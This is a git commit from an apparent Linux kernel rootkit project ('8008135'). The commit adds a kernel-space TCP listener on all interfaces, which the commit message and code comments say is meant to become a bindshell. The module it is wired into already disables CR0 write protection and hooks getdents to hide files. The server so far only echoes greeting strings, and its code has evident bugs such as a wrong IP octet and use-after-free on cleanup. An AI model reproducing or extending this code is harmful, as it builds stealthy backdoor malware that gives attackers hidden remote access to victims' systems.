Adding a Socket Server to the Linux Kernel Module
Gone a long way from trying to implement a socket bindshell using the standard C-Libraries (which obv. doesn't work in LKM!), then implementing an ASM-Solution only to find out there are problems with the x86/x32 bit and knowing that I have no clue of how to write ASM, I thought of looking into sockets on linux kernel modules - AAAND found one. So the files: * src/50ck3t.c * src/headers/50ck3t.h are basically from https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git Thanks for sharing! There will prob. be some additions and modifications. Makefile: * Some Stuff had to be renamed in the Makefile due to Renaming src/create_sysgen.sh -> src/cr3473_5y563n.sh & Added src/headers/50ck3t.h, src/50ck3t.c Including src/headers/50ck3t.h in 8008135.c Changing Module License to GPL, somehow GPLv3 was a problem to the compiler because of do_exit
This commit is contained in:
		
							parent
							
								
									062fdebeae
								
							
						
					
					
						commit
						28c4025758
					
				
							
								
								
									
										5
									
								
								Makefile
									
									
									
									
									
								
							
							
						
						
									
										5
									
								
								Makefile
									
									
									
									
									
								
							| @ -19,12 +19,13 @@ INCL_H		:= $(PWD)/$(INCL_S)/headers | |||||||
| obj-m += $(MNAME).o | obj-m += $(MNAME).o | ||||||
| # Core
 | # Core
 | ||||||
| $(MNAME)-y 	+= src/$(MNAME).o | $(MNAME)-y 	+= src/$(MNAME).o | ||||||
|  | $(MNAME)-y  += src/50ck3t.o | ||||||
| 
 | 
 | ||||||
| # Includes for header files etc
 | # Includes for header files etc
 | ||||||
| ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) | ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) | ||||||
| 
 | 
 | ||||||
| all: | all: | ||||||
| 	$(shell $(SRCS_S)/create_sysgen.sh) | 	$(shell $(SRCS_S)/cr3473_5y563n.sh) | ||||||
| 	$(MAKE) -C $(BUILDDIR) M=$(PWD) modules | 	$(MAKE) -C $(BUILDDIR) M=$(PWD) modules | ||||||
| 
 | 
 | ||||||
| load: | load: | ||||||
| @ -34,5 +35,5 @@ unload: | |||||||
| 	rmmod $(MNAME) | 	rmmod $(MNAME) | ||||||
| 	 | 	 | ||||||
| clean: | clean: | ||||||
| 	-rm $(SRCS_H)/sysgen.h | 	-rm $(SRCS_H)/5y563n.h | ||||||
| 	$(MAKE) -C $(BUILDDIR) M=$(PWD) clean	 | 	$(MAKE) -C $(BUILDDIR) M=$(PWD) clean	 | ||||||
|  | |||||||
							
								
								
									
										558
									
								
								src/50ck3t.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										558
									
								
								src/50ck3t.c
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,558 @@ | |||||||
|  | /*
 | ||||||
|  |  * | ||||||
|  |  * NOTE: | ||||||
|  |  * this is basically this guys code: | ||||||
|  |  * https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
 | ||||||
|  |  * his last update was 4 years ago, so there might be some changes, | ||||||
|  |  * there definitely will be some regarding the data received/sent back since | ||||||
|  |  * this is will be used as a bindshell | ||||||
|  |  * but base is his work. | ||||||
|  |  * | ||||||
|  |  */ | ||||||
|  | 
 | ||||||
|  | /* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */ | ||||||
|  | /*
 | ||||||
|  |  * main.c | ||||||
|  |  * Copyright (C) 2019 | ||||||
|  |  * | ||||||
|  |  * 8008135 is free software: you can redistribute it and/or modify it | ||||||
|  |  * under the terms of the GNU General Public License as published by the | ||||||
|  |  * Free Software Foundation, either version 3 of the License, or | ||||||
|  |  * (at your option) any later version. | ||||||
|  |  * | ||||||
|  |  * 8008135 is distributed in the hope that it will be useful, but | ||||||
|  |  * WITHOUT ANY WARRANTY; without even the implied warranty of | ||||||
|  |  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | ||||||
|  |  * See the GNU General Public License for more details. | ||||||
|  |  * | ||||||
|  |  * You should have received a copy of the GNU General Public License along | ||||||
|  |  * with this program.  If not, see <http://www.gnu.org/licenses/>.
 | ||||||
|  |  */ | ||||||
|  | /**** includes *****************************************************************
 | ||||||
|  | *******************************************************************************/ | ||||||
|  | #include "50ck3t.h" | ||||||
|  | 
 | ||||||
|  | /**** types  *******************************************************************
 | ||||||
|  | *******************************************************************************/ | ||||||
|  | struct tcp_conn_handler_data{ | ||||||
|  |         struct sockaddr_in *address; | ||||||
|  |         struct socket *accept_socket; | ||||||
|  |         int thread_id; | ||||||
|  | }; | ||||||
|  | 
 | ||||||
|  | struct tcp_conn_handler{ | ||||||
|  |         struct tcp_conn_handler_data *data[MAX_CONNS]; | ||||||
|  |         struct task_struct *thread[MAX_CONNS]; | ||||||
|  |         int tcp_conn_handler_stopped[MAX_CONNS]; | ||||||
|  | }; | ||||||
|  | 
 | ||||||
|  | struct tcp_conn_handler *tcp_conn_handler; | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | struct tcp_server_service{ | ||||||
|  |       int running; | ||||||
|  |       struct socket *listen_socket; | ||||||
|  |       struct task_struct *thread; | ||||||
|  |       struct task_struct *accept_thread; | ||||||
|  | }; | ||||||
|  | 
 | ||||||
|  | struct tcp_server_service *tcp_server; | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | /**** var **********************************************************************
 | ||||||
|  | *******************************************************************************/ | ||||||
|  | int tcp_listener_stopped = 0; | ||||||
|  | int tcp_acceptor_stopped = 0; | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | char *inet_ntoa(struct in_addr *in){ | ||||||
|  |         char *str_ip = NULL; | ||||||
|  |         u_int32_t int_ip = 0; | ||||||
|  | 
 | ||||||
|  |         str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL); | ||||||
|  | 
 | ||||||
|  |         if(!str_ip) | ||||||
|  |                 return NULL; | ||||||
|  |         else | ||||||
|  |                 memset(str_ip, 0, 16); | ||||||
|  | 
 | ||||||
|  |         int_ip = in->s_addr; | ||||||
|  | 
 | ||||||
|  |         sprintf(str_ip, "%d.%d.%d.%d", (int_ip) & 0xFF, (int_ip >> 8) & 0xFF, | ||||||
|  |                                  (int_ip >> 16) & 0xFF, (int_ip >> 16) & 0xFF); | ||||||
|  | 
 | ||||||
|  |         return str_ip; | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int tcp_server_send(struct socket *sock, int id, const char *buf,\ | ||||||
|  |                 const size_t length, unsigned long flags){ | ||||||
|  |         struct msghdr msg; | ||||||
|  |         struct kvec vec; | ||||||
|  |         int len, written = 0, left =length; | ||||||
|  |         mm_segment_t oldmm; | ||||||
|  | 
 | ||||||
|  |         msg.msg_name    = 0; | ||||||
|  |         msg.msg_namelen = 0; | ||||||
|  |         msg.msg_control = NULL; | ||||||
|  |         msg.msg_controllen = 0; | ||||||
|  |         msg.msg_flags = flags; | ||||||
|  |         msg.msg_flags   = 0; | ||||||
|  | 
 | ||||||
|  |         oldmm = get_fs(); set_fs(KERNEL_DS); | ||||||
|  | 
 | ||||||
|  | repeat_send: | ||||||
|  |         vec.iov_len = left; | ||||||
|  |         vec.iov_base = (char *)buf + written; | ||||||
|  | 
 | ||||||
|  |         len = kernel_sendmsg(sock, &msg, &vec, left, left); | ||||||
|  | 
 | ||||||
|  |         if((len == -ERESTARTSYS) || (!(flags & MSG_DONTWAIT) &&\ | ||||||
|  |                                 (len == -EAGAIN))) | ||||||
|  |                 goto repeat_send; | ||||||
|  | 
 | ||||||
|  |         if(len > 0){ | ||||||
|  |                 written += len; | ||||||
|  |                 left -= len; | ||||||
|  |                 if(left) | ||||||
|  |                         goto repeat_send; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         set_fs(oldmm); | ||||||
|  |         return written?written:len; | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int tcp_server_receive(struct socket *sock, int id,struct sockaddr_in *address,\ | ||||||
|  |                 unsigned char *buf,int size, unsigned long flags){ | ||||||
|  |         struct msghdr msg; | ||||||
|  |         struct kvec vec; | ||||||
|  |         int len; | ||||||
|  |         char *tmp = NULL; | ||||||
|  | 
 | ||||||
|  |         if(sock==NULL){ | ||||||
|  |                 pr_info(" *** mtp | tcp server receive socket is NULL| " | ||||||
|  |                         " tcp_server_receive *** \n"); | ||||||
|  |                 return -1; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         msg.msg_name = 0; | ||||||
|  |         msg.msg_namelen = 0; | ||||||
|  |         msg.msg_control = NULL; | ||||||
|  |         msg.msg_controllen = 0; | ||||||
|  |         msg.msg_flags = flags; | ||||||
|  | 
 | ||||||
|  |         vec.iov_len = size; | ||||||
|  |         vec.iov_base = buf; | ||||||
|  | 
 | ||||||
|  | read_again: | ||||||
|  |         if(!skb_queue_empty(&sock->sk->sk_receive_queue)) | ||||||
|  |                 pr_info("recv queue empty ? %s \n", | ||||||
|  |                 skb_queue_empty(&sock->sk->sk_receive_queue)?"yes":"no"); | ||||||
|  | 
 | ||||||
|  |         len = kernel_recvmsg(sock, &msg, &vec, size, size, flags); | ||||||
|  | 
 | ||||||
|  |         if(len == -EAGAIN || len == -ERESTARTSYS) | ||||||
|  |                 goto read_again; | ||||||
|  | 
 | ||||||
|  |         tmp = inet_ntoa(&(address->sin_addr)); | ||||||
|  | 
 | ||||||
|  |         pr_info("client-> %s:%d, says: %s\n", tmp, ntohs(address->sin_port), buf); | ||||||
|  | 
 | ||||||
|  |         kfree(tmp); | ||||||
|  |         //len = msg.msg_iter.kvec->iov_len;
 | ||||||
|  |         return len; | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int connection_handler(void *data){ | ||||||
|  |        struct tcp_conn_handler_data *conn_data = | ||||||
|  |                (struct tcp_conn_handler_data *)data; | ||||||
|  | 
 | ||||||
|  |        struct sockaddr_in *address = conn_data->address; | ||||||
|  |        struct socket *accept_socket = conn_data->accept_socket; | ||||||
|  |        int id = conn_data->thread_id; | ||||||
|  | 
 | ||||||
|  |        int ret; | ||||||
|  |        int len = 49; | ||||||
|  |        unsigned char in_buf[len+1]; | ||||||
|  |        unsigned char out_buf[len+1]; | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |        DECLARE_WAITQUEUE(recv_wait, current); | ||||||
|  |        allow_signal(SIGKILL|SIGSTOP); | ||||||
|  | 
 | ||||||
|  |        while(1){ | ||||||
|  |               add_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait); | ||||||
|  | 
 | ||||||
|  |               while(skb_queue_empty(&accept_socket->sk->sk_receive_queue)){ | ||||||
|  |                       __set_current_state(TASK_INTERRUPTIBLE); | ||||||
|  |                       schedule_timeout(HZ); | ||||||
|  | 
 | ||||||
|  |                       if(kthread_should_stop()){ | ||||||
|  |                               pr_info(" *** mtp | tcp server handle connection " | ||||||
|  |                                 "thread stopped | connection_handler *** \n"); | ||||||
|  | 
 | ||||||
|  |                               //tcp_conn_handler->thread[id] = NULL;
 | ||||||
|  |                               tcp_conn_handler->tcp_conn_handler_stopped[id]= 1; | ||||||
|  | 
 | ||||||
|  |                               __set_current_state(TASK_RUNNING); | ||||||
|  |                               remove_wait_queue(&accept_socket->sk->sk_wq->wait,\ | ||||||
|  |                                               &recv_wait); | ||||||
|  |                               kfree(tcp_conn_handler->data[id]->address); | ||||||
|  |                               kfree(tcp_conn_handler->data[id]); | ||||||
|  |                               sock_release(tcp_conn_handler->data[id]->accept_socket); | ||||||
|  |                               return 0; | ||||||
|  |                       } | ||||||
|  | 
 | ||||||
|  |                       if(signal_pending(current)){ | ||||||
|  |                               __set_current_state(TASK_RUNNING); | ||||||
|  |                               remove_wait_queue(&accept_socket->sk->sk_wq->wait,\ | ||||||
|  |                                               &recv_wait); | ||||||
|  |                               goto out; | ||||||
|  |                       } | ||||||
|  |               } | ||||||
|  |               __set_current_state(TASK_RUNNING); | ||||||
|  |               remove_wait_queue(&accept_socket->sk->sk_wq->wait, &recv_wait); | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |               pr_info("receiving message\n"); | ||||||
|  |               memset(in_buf, 0, len+1); | ||||||
|  |               ret = tcp_server_receive(accept_socket, id, address, in_buf, len,\ | ||||||
|  |                                        MSG_DONTWAIT); | ||||||
|  |               if(ret > 0){ | ||||||
|  |                       if(memcmp(in_buf, "HOLA", 4) == 0){ | ||||||
|  |                               memset(out_buf, 0, len+1); | ||||||
|  |                               strcat(out_buf, "HOLASI"); | ||||||
|  |                               pr_info("sending response: %s\n", out_buf); | ||||||
|  |                               tcp_server_send(accept_socket, id, out_buf,\ | ||||||
|  |                                               strlen(out_buf), MSG_DONTWAIT); | ||||||
|  |                       } | ||||||
|  |                       /*
 | ||||||
|  |                       tmp = inet_ntoa(&(address->sin_addr)); | ||||||
|  |                       pr_info("connection handler: %d of: %s %d done sending " | ||||||
|  |                               " HOLASI\n", id, tmp, ntohs(address->sin_port)); | ||||||
|  |                       kfree(tmp); | ||||||
|  |                       */ | ||||||
|  |                       if(memcmp(in_buf, "ADIOS", 5) == 0){ | ||||||
|  |                               memset(out_buf, 0, len+1); | ||||||
|  |                               strcat(out_buf, "ADIOSAMIGO"); | ||||||
|  |                               pr_info("sending response: %s\n", out_buf); | ||||||
|  |                               tcp_server_send(accept_socket, id, out_buf,\ | ||||||
|  |                                               strlen(out_buf), MSG_DONTWAIT); | ||||||
|  |                               break; | ||||||
|  |                       } | ||||||
|  |               } | ||||||
|  |        } | ||||||
|  | 
 | ||||||
|  | out: | ||||||
|  |        /*
 | ||||||
|  |        tmp = inet_ntoa(&(address->sin_addr)); | ||||||
|  | 
 | ||||||
|  |        pr_info("connection handler: %d of: %s %d exiting normally\n", | ||||||
|  |                        id, tmp, ntohs(address->sin_port)); | ||||||
|  |        kfree(tmp); | ||||||
|  |        */ | ||||||
|  |        tcp_conn_handler->tcp_conn_handler_stopped[id]= 1; | ||||||
|  |        kfree(tcp_conn_handler->data[id]->address); | ||||||
|  |        kfree(tcp_conn_handler->data[id]); | ||||||
|  |        sock_release(tcp_conn_handler->data[id]->accept_socket); | ||||||
|  |        //spin_lock(&tcp_server_lock);
 | ||||||
|  |        tcp_conn_handler->thread[id] = NULL; | ||||||
|  |        //spin_unlock(&tcp_server_lock);
 | ||||||
|  |        //return 0;
 | ||||||
|  |        do_exit(0); | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int tcp_server_accept(void){ | ||||||
|  |         int accept_err = 0; | ||||||
|  |         struct socket *socket; | ||||||
|  |         struct socket *accept_socket = NULL; | ||||||
|  |         struct inet_connection_sock *isock; | ||||||
|  |         int id = 0; | ||||||
|  |         DECLARE_WAITQUEUE(accept_wait, current); | ||||||
|  |         allow_signal(SIGKILL|SIGSTOP); | ||||||
|  |         socket = tcp_server->listen_socket; | ||||||
|  |         pr_info(" *** mtp | creating the accept socket | tcp_server_accept " | ||||||
|  |                 "*** \n"); | ||||||
|  | 
 | ||||||
|  |         while(1){ | ||||||
|  |                 struct tcp_conn_handler_data *data = NULL; | ||||||
|  |                 struct sockaddr_in *client = NULL; | ||||||
|  |                 char *tmp; | ||||||
|  |                 int addr_len; | ||||||
|  | 
 | ||||||
|  |                 accept_err = | ||||||
|  |                         sock_create(socket->sk->sk_family, socket->type,\ | ||||||
|  |                                     socket->sk->sk_protocol, &accept_socket); | ||||||
|  | 
 | ||||||
|  |                 if(accept_err < 0 || !accept_socket){ | ||||||
|  |                         pr_info(" *** mtp | accept_error: %d while creating " | ||||||
|  |                                 "tcp server accept socket | " | ||||||
|  |                                 "tcp_server_accept *** \n", accept_err); | ||||||
|  |                         goto err; | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  |                 accept_socket->type = socket->type; | ||||||
|  |                 accept_socket->ops  = socket->ops; | ||||||
|  | 
 | ||||||
|  |                 isock = inet_csk(socket->sk); | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |                add_wait_queue(&socket->sk->sk_wq->wait, &accept_wait); | ||||||
|  |                while(reqsk_queue_empty(&isock->icsk_accept_queue)){ | ||||||
|  |                        __set_current_state(TASK_INTERRUPTIBLE); | ||||||
|  |                        schedule_timeout(HZ); | ||||||
|  |                        if(kthread_should_stop()){ | ||||||
|  |                                pr_info(" *** mtp | tcp server acceptor thread " | ||||||
|  |                                        "stopped | tcp_server_accept *** \n"); | ||||||
|  |                                tcp_acceptor_stopped = 1; | ||||||
|  |                                __set_current_state(TASK_RUNNING); | ||||||
|  |                                remove_wait_queue(&socket->sk->sk_wq->wait,\ | ||||||
|  |                                                &accept_wait); | ||||||
|  |                                sock_release(accept_socket); | ||||||
|  |                                return 0; | ||||||
|  |                        } | ||||||
|  | 
 | ||||||
|  |                        if(signal_pending(current)){ | ||||||
|  |                                __set_current_state(TASK_RUNNING); | ||||||
|  |                                remove_wait_queue(&socket->sk->sk_wq->wait,\ | ||||||
|  |                                                &accept_wait); | ||||||
|  |                                goto release; | ||||||
|  |                        } | ||||||
|  | 
 | ||||||
|  |                } | ||||||
|  |                __set_current_state(TASK_RUNNING); | ||||||
|  |                remove_wait_queue(&socket->sk->sk_wq->wait, &accept_wait); | ||||||
|  | 
 | ||||||
|  |                pr_info("accept connection\n"); | ||||||
|  | 
 | ||||||
|  |                accept_err = | ||||||
|  |                        socket->ops->accept(socket, accept_socket, O_NONBLOCK); | ||||||
|  | 
 | ||||||
|  |                if(accept_err < 0){ | ||||||
|  |                        pr_info(" *** mtp | accept_error: %d while accepting " | ||||||
|  |                                "tcp server | tcp_server_accept *** \n", | ||||||
|  |                                accept_err); | ||||||
|  |                        goto release; | ||||||
|  |                } | ||||||
|  | 
 | ||||||
|  |                client = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL); | ||||||
|  |                memset(client, 0, sizeof(struct sockaddr_in)); | ||||||
|  | 
 | ||||||
|  |                addr_len = sizeof(struct sockaddr_in); | ||||||
|  | 
 | ||||||
|  |                accept_err = | ||||||
|  |                accept_socket->ops->getname(accept_socket,\ | ||||||
|  |                                (struct sockaddr *)client,\ | ||||||
|  |                                &addr_len, 2); | ||||||
|  | 
 | ||||||
|  |                if(accept_err < 0){ | ||||||
|  |                        pr_info(" *** mtp | accept_error: %d in getname " | ||||||
|  |                                "tcp server | tcp_server_accept *** \n", | ||||||
|  |                                accept_err); | ||||||
|  |                        goto release; | ||||||
|  |                } | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |                tmp = inet_ntoa(&(client->sin_addr)); | ||||||
|  | 
 | ||||||
|  |                pr_info("connection from: %s %d \n", | ||||||
|  |                        tmp, ntohs(client->sin_port)); | ||||||
|  | 
 | ||||||
|  |                kfree(tmp); | ||||||
|  | 
 | ||||||
|  |                pr_info("handle connection\n"); | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |                for(id = 0; id < MAX_CONNS; id++){ | ||||||
|  |                         if(tcp_conn_handler->thread[id] == NULL) | ||||||
|  |                                 break; | ||||||
|  |                } | ||||||
|  | 
 | ||||||
|  |                pr_info("gave free id: %d\n", id); | ||||||
|  | 
 | ||||||
|  |                if(id == MAX_CONNS) | ||||||
|  |                        goto release; | ||||||
|  | 
 | ||||||
|  |                data = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL); | ||||||
|  |                memset(data, 0, sizeof(struct tcp_conn_handler_data)); | ||||||
|  | 
 | ||||||
|  |                data->address = client; | ||||||
|  |                data->accept_socket = accept_socket; | ||||||
|  |                data->thread_id = id; | ||||||
|  | 
 | ||||||
|  |                tcp_conn_handler->tcp_conn_handler_stopped[id] = 0; | ||||||
|  |                tcp_conn_handler->data[id] = data; | ||||||
|  |                tcp_conn_handler->thread[id] = | ||||||
|  |                kthread_run((void *)connection_handler, (void *)data, MODULE_NAME); | ||||||
|  | 
 | ||||||
|  |                if(kthread_should_stop()){ | ||||||
|  |                        pr_info(" *** mtp | tcp server acceptor thread stopped" | ||||||
|  |                                " | tcp_server_accept *** \n"); | ||||||
|  |                        tcp_acceptor_stopped = 1; | ||||||
|  |                        return 0; | ||||||
|  |                } | ||||||
|  | 
 | ||||||
|  |                if(signal_pending(current)){ | ||||||
|  |                        break; | ||||||
|  |                } | ||||||
|  | 
 | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |         tcp_acceptor_stopped = 1; | ||||||
|  |         do_exit(0); | ||||||
|  | release: | ||||||
|  |        sock_release(accept_socket); | ||||||
|  | err: | ||||||
|  |        tcp_acceptor_stopped = 1; | ||||||
|  |        do_exit(0); | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int tcp_server_listen(void) | ||||||
|  | { | ||||||
|  |         int server_err; | ||||||
|  |         struct socket *conn_socket; | ||||||
|  |         struct sockaddr_in server; | ||||||
|  | 
 | ||||||
|  |         DECLARE_WAIT_QUEUE_HEAD(wq); | ||||||
|  | 
 | ||||||
|  |         allow_signal(SIGKILL|SIGTERM); | ||||||
|  | 
 | ||||||
|  |         server_err = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\ | ||||||
|  |                                 &tcp_server->listen_socket); | ||||||
|  |         if(server_err < 0){ | ||||||
|  |                 pr_info(" *** mtp | Error: %d while creating tcp server " | ||||||
|  |                         "listen socket | tcp_server_listen *** \n", server_err); | ||||||
|  |                 goto err; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         conn_socket = tcp_server->listen_socket; | ||||||
|  |         tcp_server->listen_socket->sk->sk_reuse = 1; | ||||||
|  | 
 | ||||||
|  |         server.sin_addr.s_addr = INADDR_ANY; | ||||||
|  |         server.sin_family = AF_INET; | ||||||
|  |         server.sin_port = htons(DEFAULT_PORT); | ||||||
|  | 
 | ||||||
|  |         server_err = | ||||||
|  |         conn_socket->ops->bind(conn_socket, (struct sockaddr*)&server,\ | ||||||
|  |                         sizeof(server)); | ||||||
|  | 
 | ||||||
|  |         if(server_err < 0){ | ||||||
|  |                 pr_info(" *** mtp | Error: %d while binding tcp server " | ||||||
|  |                         "listen socket | tcp_server_listen *** \n", server_err); | ||||||
|  |                 goto release; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         server_err = conn_socket->ops->listen(conn_socket, 16); | ||||||
|  | 
 | ||||||
|  |         if(server_err < 0){ | ||||||
|  |                 pr_info(" *** mtp | Error: %d while listening in tcp " | ||||||
|  |                         "server listen socket | tcp_server_listen " | ||||||
|  |                         "*** \n", server_err); | ||||||
|  |                         goto release; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  |         tcp_server->accept_thread = | ||||||
|  |                 kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME); | ||||||
|  | 
 | ||||||
|  |         while(1){ | ||||||
|  |                 wait_event_timeout(wq, 0, 3*HZ); | ||||||
|  | 
 | ||||||
|  |                 if(kthread_should_stop()){ | ||||||
|  |                         pr_info(" *** mtp | tcp server listening thread" | ||||||
|  |                                 " stopped | tcp_server_listen *** \n"); | ||||||
|  |                         return 0; | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  |                 if(signal_pending(current)) | ||||||
|  |                         goto release; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |         sock_release(conn_socket); | ||||||
|  |         tcp_listener_stopped = 1; | ||||||
|  |         do_exit(0); | ||||||
|  | release: | ||||||
|  |         sock_release(conn_socket); | ||||||
|  | err: | ||||||
|  |         tcp_listener_stopped = 1; | ||||||
|  |         do_exit(0); | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int tcp_server_start(void){ | ||||||
|  |         tcp_server->running = 1; | ||||||
|  |         tcp_server->thread = kthread_run((void *)tcp_server_listen, NULL,\ | ||||||
|  |                                         MODULE_NAME); | ||||||
|  |         return 0; | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | int network_server_init(void){ | ||||||
|  |         pr_info(" *** mtp | network_server initiated | " | ||||||
|  |                 "network_server_init ***\n"); | ||||||
|  |         tcp_server = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL); | ||||||
|  |         memset(tcp_server, 0, sizeof(struct tcp_server_service)); | ||||||
|  | 
 | ||||||
|  |         tcp_conn_handler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL); | ||||||
|  |         memset(tcp_conn_handler, 0, sizeof(struct tcp_conn_handler)); | ||||||
|  | 
 | ||||||
|  |         tcp_server_start(); | ||||||
|  |         return 0; | ||||||
|  | } | ||||||
|  | 
 | ||||||
|  | void network_server_exit(void){ | ||||||
|  |         int ret; | ||||||
|  |         int id; | ||||||
|  | 
 | ||||||
|  |         if(tcp_server->thread == NULL) | ||||||
|  |                 pr_info(" *** mtp | No kernel thread to kill | " | ||||||
|  |                         "network_server_exit *** \n"); | ||||||
|  |         else | ||||||
|  |         { | ||||||
|  |                 for(id = 0; id < MAX_CONNS; id++) | ||||||
|  |                 { | ||||||
|  |                         if(tcp_conn_handler->thread[id] != NULL) | ||||||
|  |                         { | ||||||
|  | 
 | ||||||
|  |                         if(!tcp_conn_handler->tcp_conn_handler_stopped[id]) | ||||||
|  |                                 { | ||||||
|  |                                         ret = | ||||||
|  |                                 kthread_stop(tcp_conn_handler->thread[id]); | ||||||
|  | 
 | ||||||
|  |                                         if(!ret) | ||||||
|  |                                                 pr_info(" *** mtp | tcp server " | ||||||
|  |                                                 "connection handler thread: %d " | ||||||
|  |                                                 "stopped | network_server_exit " | ||||||
|  |                                                 "*** \n", id); | ||||||
|  |                                 } | ||||||
|  |                        } | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  |                 if(!tcp_acceptor_stopped) | ||||||
|  |                 { | ||||||
|  |                         ret = kthread_stop(tcp_server->accept_thread); | ||||||
|  |                         if(!ret) | ||||||
|  |                                 pr_info(" *** mtp | tcp server acceptor thread" | ||||||
|  |                                         " stopped | network_server_exit *** \n"); | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  |                 if(!tcp_listener_stopped) | ||||||
|  |                 { | ||||||
|  |                         ret = kthread_stop(tcp_server->thread); | ||||||
|  |                         if(!ret) | ||||||
|  |                                 pr_info(" *** mtp | tcp server listening thread" | ||||||
|  |                                         " stopped | network_server_exit *** \n"); | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  |                 if(tcp_server->listen_socket != NULL && !tcp_listener_stopped) | ||||||
|  |                 { | ||||||
|  |                         sock_release(tcp_server->listen_socket); | ||||||
|  |                         tcp_server->listen_socket = NULL; | ||||||
|  |                 } | ||||||
|  | 
 | ||||||
|  |                 kfree(tcp_conn_handler); | ||||||
|  |                 kfree(tcp_server); | ||||||
|  |                 tcp_server = NULL; | ||||||
|  |         } | ||||||
|  | 
 | ||||||
|  | } | ||||||
| @ -20,6 +20,7 @@ | |||||||
| /**** includes *****************************************************************
 | /**** includes *****************************************************************
 | ||||||
| *******************************************************************************/ | *******************************************************************************/ | ||||||
| #include "8008135.h" | #include "8008135.h" | ||||||
|  | #include "50ck3t.h" | ||||||
| /****  var  ********************************************************************
 | /****  var  ********************************************************************
 | ||||||
| *******************************************************************************/ | *******************************************************************************/ | ||||||
| 
 | 
 | ||||||
| @ -107,6 +108,7 @@ static int __init init_8008135(void) { | |||||||
| 	write_cr0(read_cr0() | WRITE_PROTECT_FLAG); | 	write_cr0(read_cr0() | WRITE_PROTECT_FLAG); | ||||||
| 
 | 
 | ||||||
| 	printk(KERN_INFO "New syscall in place\n"); | 	printk(KERN_INFO "New syscall in place\n"); | ||||||
|  | 	network_server_init(); | ||||||
| 	 | 	 | ||||||
| 	return 0; | 	return 0; | ||||||
| } | } | ||||||
| @ -118,6 +120,7 @@ static int __init init_8008135(void) { | |||||||
| *       RETURNS:  - | *       RETURNS:  - | ||||||
| *******************************************************************************/ | *******************************************************************************/ | ||||||
| static void __exit exit_8008135(void) { | static void __exit exit_8008135(void) { | ||||||
|  | 	network_server_exit(); | ||||||
| 	// allow us to write to read onlu pages
 | 	// allow us to write to read onlu pages
 | ||||||
| 	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); | 	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); | ||||||
| 	// set getdents handler back
 | 	// set getdents handler back
 | ||||||
|  | |||||||
| @ -1,7 +1,7 @@ | |||||||
| #!/usr/bin/env bash | #!/usr/bin/env bash | ||||||
| SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )" | SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )" | ||||||
| SRCS_H="$SCRIPTPATH""/headers" | SRCS_H="$SCRIPTPATH""/headers" | ||||||
| SGENH="$SRCS_H""/sysgen.h" | SGENH="$SRCS_H""/5y563n.h" | ||||||
| 
 | 
 | ||||||
| smap="/boot/System.map-$(uname -r)" | smap="/boot/System.map-$(uname -r)" | ||||||
| 
 | 
 | ||||||
							
								
								
									
										50
									
								
								src/headers/50ck3t.h
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										50
									
								
								src/headers/50ck3t.h
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,50 @@ | |||||||
|  | /* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */ | ||||||
|  | /*
 | ||||||
|  |  * main.c | ||||||
|  |  * Copyright (C) 2019 | ||||||
|  |  * | ||||||
|  |  * 8008135 is free software: you can redistribute it and/or modify it | ||||||
|  |  * under the terms of the GNU General Public License as published by the | ||||||
|  |  * Free Software Foundation, either version 3 of the License, or | ||||||
|  |  * (at your option) any later version. | ||||||
|  |  * | ||||||
|  |  * 8008135 is distributed in the hope that it will be useful, but | ||||||
|  |  * WITHOUT ANY WARRANTY; without even the implied warranty of | ||||||
|  |  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | ||||||
|  |  * See the GNU General Public License for more details. | ||||||
|  |  * | ||||||
|  |  * You should have received a copy of the GNU General Public License along | ||||||
